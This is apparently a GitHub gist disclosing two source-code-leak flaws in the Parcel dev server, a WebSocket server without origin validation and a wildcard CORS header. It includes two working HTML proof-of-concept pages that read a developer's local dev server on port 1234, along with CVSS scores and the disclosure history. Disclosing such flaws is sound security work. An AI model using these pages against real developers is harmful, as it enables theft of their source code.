Skip to content

Instantly share code, notes, and snippets.

@R4356th
Last active September 17, 2025 15:56
Show Gist options
  • Select an option

  • Save R4356th/41f468def606b2406e36f7193f5322b8 to your computer and use it in GitHub Desktop.

Select an option

Save R4356th/41f468def606b2406e36f7193f5322b8 to your computer and use it in GitHub Desktop.
Two information disclosure vulnerabilities in Parcel
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>WebSocket Client Example</title>
</head>
<body>
  <h1>WebSocket Client</h1>
  <div id="status">Connecting...</div>
  <div id="messages"></div>
  <script>
    const socket = new WebSocket('ws://localhost:1234/');

    socket.addEventListener('open', function (event) {
      document.getElementById('status').textContent = 'Connected to WebSocket server';
    });

    socket.addEventListener('message', function (event) {
      const messagesDiv = document.getElementById('messages');
      const messageElement = document.createElement('p');
      messageElement.textContent = `Server says: ${event.data}`;
      messagesDiv.appendChild(messageElement);
    });

    socket.addEventListener('close', function (event) {
      document.getElementById('status').textContent = 'Disconnected from WebSocket server';
    });

    socket.addEventListener('error', function (event) {
      document.getElementById('status').textContent = 'WebSocket error';
      console.error('WebSocket error:', event);
    });
  </script>
</body>
</html>

Make an edit and watch your source code get leaked on attacker.com CVSS v3 Score: 6.5/10 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <button onclick="sendRequest()">Send GET Request</button>
    <pre id="scriptContent"></pre>

    <script>
        function sendRequest() {
            const baseUrl = 'http://localhost:1234/';
           
            fetch(baseUrl + 'index.html')
                .then(response => response.text())
                .then(html => {
                    console.log('Initial HTML:', html);
                   
                    const parser = new DOMParser();
                    const doc = parser.parseFromString(html, 'text/html');
                   
                    const scripts = Array.from(doc.querySelectorAll('script[src]')).map(script => {
                        const relativePath = script.getAttribute('src');
                        return new URL(relativePath, baseUrl).href;
                    });
                   
                    scripts.forEach(scriptUrl => {
                        fetch(scriptUrl)
                            .then(response => response.text())
                            .then(scriptContent => {
                                console.log('Fetched script from:', scriptUrl);
                                const pre = document.createElement('pre');
                                pre.textContent = `// Source: ${scriptUrl}\n${scriptContent}\n\n`;
                                document.getElementById('scriptContent').appendChild(pre);
                            })
                            .catch(error => {
                                console.error('Error fetching script:', scriptUrl, error);
                            });
                    });
                })
                .catch(error => {
                    console.error('Error:', error);
                });
        }
    </script>
</body>
</html>

This issue arises because Parcel explicitly sets the Access-Control-Allow Origin to * in https://github.com/parcel-bundler/parcel/blob/1e6f4b37336bf6dcf2406bc648131f28c7d0012a/packages/reporters/dev-server/src/Server.js#L36. If this must be kept around for some reason then it needs to be set to at least a restrictive value. CVSS Score: 6.5/10 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

The lack of origin validation by the WebSocket Server allowing the source code to get stolen is actually a regression of CVE-2018-14731 is the same issue that was originally reported in 2018(!) at parcel-bundler/parcel#1783 but never properly fixed (see parcel-bundler/parcel#2494). It is interesting to me that Parcel sets the Access-Control-Allow-Origin header, which does not appear to be standard practice for HMR servers and allows stealing source code using XMLHttpRequests.

Both of these PoCs need a developer who is running their Parcel dev server at the moment to visit an attacker webpage containing such code to carry out a successful 'heist'. If the developer does not use the default port used by Parcel (the 'zero config' bundler uses 1234 as its default port) then the attack becomes a little more complex. But if these conditions are met then source code can be easily stolen.

I reached out to Parcel developers about these issues at parcel-bundler/parcel#10089 and eventually got its original developer (and active maintainer) Devon Govett to respond to it after reaching out to him on X. I then emailed him at the provided email address but never received any response on February 22. My attempt to get him to respond on X (https://x.com/redmin78/status/1908651939866526057) also failed leading to the decision to disclose this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment